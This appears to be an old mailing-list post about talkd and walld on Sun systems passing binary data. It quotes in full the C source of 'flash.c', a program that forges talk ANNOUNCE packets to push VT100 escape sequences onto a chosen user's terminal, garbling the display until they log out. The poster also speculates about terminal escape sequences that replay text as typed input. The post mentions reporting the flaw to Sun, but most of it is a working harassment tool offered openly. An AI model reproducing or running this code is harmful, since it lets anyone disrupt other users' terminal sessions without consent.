talkd and walld both pass binary data (on Sun's at least). Here's some source code I got from a friend. I informed Sun about the wall problem several months ago. This source just sends a string to mess up your fonts and such, but I've heard that some terminals have escape sequences that will buffer strings and re-issue them as if the user had typed them (I know there's an expression or term for that, but I can't think of it). I searced for this sequence for xterm, but didn't find one. I didn't look at any other terminal types. The date of this mail/source was June 9, so it's been out a while. >> /* flash.c */ >> >> /* This little program is intended to quickly mess up a user's >> terminal by issuing a talk request to that person and sending >> vt100 escape characters that force the user to logout or kill >> his/her xterm in order to regain a sane view of the text. >> It the user's message mode is set to off (mesg n) he/she will >> be unharmed. >> This program is really nasty :-) >> >> Usage: flash user@host >> >> try compiling with: gcc -o flash flash.c >> */ >> >> >> #include <sys/types.h> >> #include <sys/socket.h> >> #include <netinet/in.h> >> #include <netdb.h> >> #include <stdio.h> >> #include <strings.h> >> >> /* this should really be in an include file.. */ >> >> #define OLD_NAME_SIZE 9 >> #define NAME_SIZE 12 >> #define TTY_SIZE 16 >> typedef struct { >> char type; >> char l_name[OLD_NAME_SIZE]; >> char r_name[OLD_NAME_SIZE]; >> char filler; >> u_long id_num; >> u_long pid; >> char r_tty[TTY_SIZE]; >> struct sockaddr_in addr; >> struct sockaddr_in ctl_addr; >> } OLD_MSG; >> >> typedef struct { >> u_char vers; >> char type; >> u_short filler; >> u_long id_num; >> struct sockaddr_in addr; >> struct sockaddr_in ctl_addr; >> long pid; >> char l_name[NAME_SIZE]; >> char r_name[NAME_SIZE]; >> char r_tty[TTY_SIZE]; >> } CTL_MSG; >> >> #define TALK_VERSION 1 /* protocol version */ >> >> /* Types */ >> #define LEAVE_INVITE 0 >> #define LOOK_UP 1 >> #define DELETE 2 >> #define ANNOUNCE 3 >> >> int current = 1; /* current id.. this to avoid duplications */ >> >> struct sockaddr_in *getinaddr(char *hostname, u_short port) >> { >> static struct sockaddr addr; >> struct sockaddr_in *address; >> struct hostent *host; >> >> address = (struct sockaddr_in *)&addr; >> (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); >> /* fill in the easy fields */ >> address->sin_family = AF_INET; >> address->sin_port = htons(port); >> /* first, check if the address is an ip address */ >> address->sin_addr.s_addr = inet_addr(hostname); >> if ( (int)address->sin_addr.s_addr == -1) >> { >> /* it wasn't.. so we try it as a long host name */ >> host = gethostbyname(hostname); >> if (host) >> { >> /* wow. It's a host name.. set the fields */ >> /* ?? address->sin_family = host->h_addrtype; */ >> bcopy( host->h_addr, (char *)&address->sin_addr, >> host->h_length); >> } >> else >> { >> /* oops.. can't find it.. */ >> puts("Couldn't find address"); >> exit(-1); >> return (struct sockaddr_in *)0; >> } >> } >> /* all done. */ >> return (struct sockaddr_in *)address; >> } >> >> SendTalkPacket(struct sockaddr_in *target, char *p, int psize) >> { >> int s; >> struct sockaddr sample; /* not used.. only to get the size */ >> >> s = socket(AF_INET, SOCK_DGRAM, 0); >> sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); >> } >> >> >> new_ANNOUNCE(char *hostname, char *remote, char *local) >> { >> CTL_MSG packet; >> struct sockaddr_in *address; >> >> /* create a packet */ >> address = getinaddr(hostname, 666 ); >> address->sin_family = htons(AF_INET); >> >> bzero( (char *)&packet, sizeof(packet) ); >> packet.vers = TALK_VERSION; >> packet.type = ANNOUNCE; >> packet.pid = getpid(); >> packet.id_num = current; >> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); >> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); >> strncpy( packet.l_name, local, NAME_SIZE); >> strncpy( packet.r_name, remote, NAME_SIZE); >> strncpy( packet.r_tty, "", 1); >> >> SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); >> } >> >> old_ANNOUNCE(char *hostname, char *remote, char *local) >> { >> OLD_MSG packet; >> struct sockaddr_in *address; >> >> /* create a packet */ >> address = getinaddr(hostname, 666 ); >> address->sin_family = htons(AF_INET); >> >> bzero( (char *)&packet, sizeof(packet) ); >> packet.type = ANNOUNCE; >> packet.pid = getpid(); >> packet.id_num = current; >> bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); >> bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); >> strncpy( packet.l_name, local, NAME_SIZE); >> strncpy( packet.r_name, remote, NAME_SIZE); >> strncpy( packet.r_tty, "", 1); >> >> SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); >> } >> >> main(int argc, char *argv[]) >> { >> char *hostname, *username; >> int pid; >> >> if ( (pid = fork()) == -1) >> { >> perror("fork()"); >> exit(-1); >> } >> if ( !pid ) >> { >> exit(0); >> } >> if (argc < 2) { >> puts("Usage: <finger info> "); >> exit(5); >> } >> username = argv[1]; >> if ( (hostname = (char *)strchr(username, '@')) == NULL ) >> { >> puts("Invalid name. "); >> exit(-1); >> } >> *hostname = '\0'; >> hostname++; >> >> if (*username == '~') >> username++; >> >> #define FIRST "\033c\033(0\033#8" >> #define SECOND "\033[1;3r\033[J" >> #define THIRD "\033[5m\033[?5h" >> new_ANNOUNCE(hostname, username, FIRST); >> old_ANNOUNCE(hostname, username, FIRST); >> current++; >> new_ANNOUNCE(hostname, username, SECOND); >> new_ANNOUNCE(hostname, username, SECOND); >> current++; >> new_ANNOUNCE(hostname, username, THIRD); >> old_ANNOUNCE(hostname, username, THIRD); >> } >> >> -- | | | Rob Quinn | | rjq@phys.ksu.edu | | QuinnBob@KSUVM.BITNET |